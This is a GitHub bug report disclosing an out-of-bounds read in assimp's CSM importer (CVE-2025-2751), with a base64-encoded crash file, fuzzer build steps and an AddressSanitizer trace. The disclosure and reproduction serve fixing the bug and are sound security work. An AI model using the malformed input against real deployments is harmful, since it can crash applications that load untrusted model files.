Skip to content

Bug: Out-of-bounds Read in Assimp::CSMImporter::InternReadFile #6012

Closed
VinzSpring/assimp
#3

Description

@d3ng03

Summary

Out-of-bounds Read in Assimp::CSMImporter::InternReadFile. An attacker could potentially exploit the vulnerability to cause a remote code execution, if they can trick the victim into running assimp on a malformed CSM file.

Affected

assimp>=5.4.3

Details

In code/AssetLib/CSM/CSMLoader.cpp:272, user can arbitrary read memory using na which lead to OOB read.

aiMatrix4x4::Translation(na->mPositionKeys[0].mValue, nd->mTransformation);

Using aiMatrix4x4t<TReal>& aiMatrix4x4t<TReal>::Translation, attacker can leak arbitrary memory value.

template <typename TReal>
AI_FORCE_INLINE aiMatrix4x4t<TReal>& aiMatrix4x4t<TReal>::Translation( const aiVector3t<TReal>& v, aiMatrix4x4t<TReal>& out) {
    out = aiMatrix4x4t<TReal>();
    out.a4 = v.x;
    out.b4 = v.y;
    out.c4 = v.z;
    return out;
}

For PoC, it got crash reading null pointer.

gdb-peda$ p na->mPositionKeys[0]
Cannot access memory at address 0x0
gdb-peda$ p na->mPositionKeys[0].mValue
Cannot access memory at address 0x8

PoC

  1. build assimp with sanitizer
git clone https://github.com/assimp/assimp.git && cd assimp

cmake CMakeLists.txt -G "Ninja" -DBUILD_SHARED_LIBS=OFF -DASSIMP_BUILD_ZLIB=ON \
                    -DASSIMP_BUILD_TESTS=OFF -DASSIMP_BUILD_ASSIMP_TOOLS=OFF \
                    -DASSIMP_BUILD_SAMPLES=OFF
cmake --build .

clang -fsanitize=address,fuzzer -std=c++11 -Iinclude fuzz/assimp_fuzzer.cc -o assimp_fuzzer ./lib/libassimp.a ./contrib/zlib/libzlibstatic.a
  1. run fuzzer to trigger bug
echo "TFdTJyBBJw0gTG9hZE9iag0NDSQkJCQkJCQkJCQkJCQkJCRGaXJzdEZyYW1lDSAxJEYkXyQkJCR0
UG9pbv8NITEkRmlsZU5hbWUMdGxsPAZOX18kOi8vczEvDQ0NDQ0NIExvYWRPYmoNDQ0kJCQkICQk
JG9yZGVyIEEnDSBMb2FkT2JqDQ0NJCQkJCQkJCQkJCQkJCQkJEZpcnN0RnJhbWUNIDEkRiRfJCQk
JJdQb2lu/w0hMSRGaWxlTmFtZQx0bGxGJF8kJCQkJGxhc1Bpdm90UG9pbv//IDEkRiQkRmlyc3RG
cmFtZQ0gMSRGJF8kJCQkdFBvaW7/DSExJEZpbGVOYW1lDHRsbDwGTl9fJDovL3MxLw0NDQ0NDSBM
b2FkT2JqDQ0NJCQkJCAkJCRpbGVOYW1lDHRsbDwGTl9fJDovL3NMV1NDIEEkDSBMb2FkT2JsZU5h
bWUMdGxsPAZOX18kOi8vcz4AZm8=" | base64 -d > crash

./assimp_fuzzer ./crash

Sanitizer Report

=================================================================
==1301==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x55950b268db0 bp 0x7ffc6eb4a3d0 sp 0x7ffc6eb4a240 T0)
==1301==The signal is caused by a READ memory access.
==1301==Hint: address points to the zero page.
    #0 0x55950b268db0 in aiMatrix4x4t<float>::Translation(aiVector3t<float> const&, aiMatrix4x4t<float>&) /workspace/assimp_fuzzer/assimp_asan/include/assimp/matrix4x4.inl:636:16
    #1 0x55950b655104 in Assimp::CSMImporter::InternReadFile(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, aiScene*, Assimp::IOSystem*) /workspace/assimp_fuzzer/assimp_asan/code/AssetLib/CSM/CSMLoader.cpp:272:9
    #2 0x55950b27aa12 in Assimp::BaseImporter::ReadFile(Assimp::Importer*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, Assimp::IOSystem*) /workspace/assimp_fuzzer/assimp_asan/code/Common/BaseImporter.cpp:131:9
    #3 0x55950acf57e4 in Assimp::Importer::ReadFile(char const*, unsigned int) /workspace/assimp_fuzzer/assimp_asan/code/Common/Importer.cpp:709:30
    #4 0x55950acf30a2 in Assimp::Importer::ReadFileFromMemory(void const*, unsigned long, unsigned int, char const*) /workspace/assimp_fuzzer/assimp_asan/code/Common/Importer.cpp:507:9
    #5 0x55950acee717 in LLVMFuzzerTestOneInput (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x491717) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
    #6 0x55950ac17203 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x3ba203) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
    #7 0x55950ac00f7f in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x3a3f7f) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
    #8 0x55950ac06cd6 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x3a9cd6) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
    #9 0x55950ac30af2 in main (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x3d3af2) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
    #10 0x7f162d0b6d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #11 0x7f162d0b6e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #12 0x55950abfb844 in _start (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x39e844) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /workspace/assimp_fuzzer/assimp_asan/include/assimp/matrix4x4.inl:636:16 in aiMatrix4x4t<float>::Translation(aiVector3t<float> const&, aiMatrix4x4t<float>&)
==1301==ABORTING

Common weakness enumerator (CWE)

  • CWE-125: Out-of-bounds Read

Activity

  1. added
    Bug
    on Feb 25, 2025
  2. added
    Fuzzer
    on Mar 1, 2025
  3. carnil commented on Mar 25, 2025

    @carnil

    This issue has CVE-2025-2751 assigned.

  4. added
    Security Risk
    CSM
    on Apr 6, 2025
  5. tellypresence commented on May 1, 2025

    @tellypresence
    Collaborator

    Will track via epic #6128

  6. added a commit that references this issue on Jun 5, 2025
    cccdd92
  7. added a commit that references this issue on Jun 8, 2025
    177797c
  8. added a commit that references this issue on Jul 1, 2026
    4ddc82e
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    BugCSMFuzzerSecurity Risk

    Type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions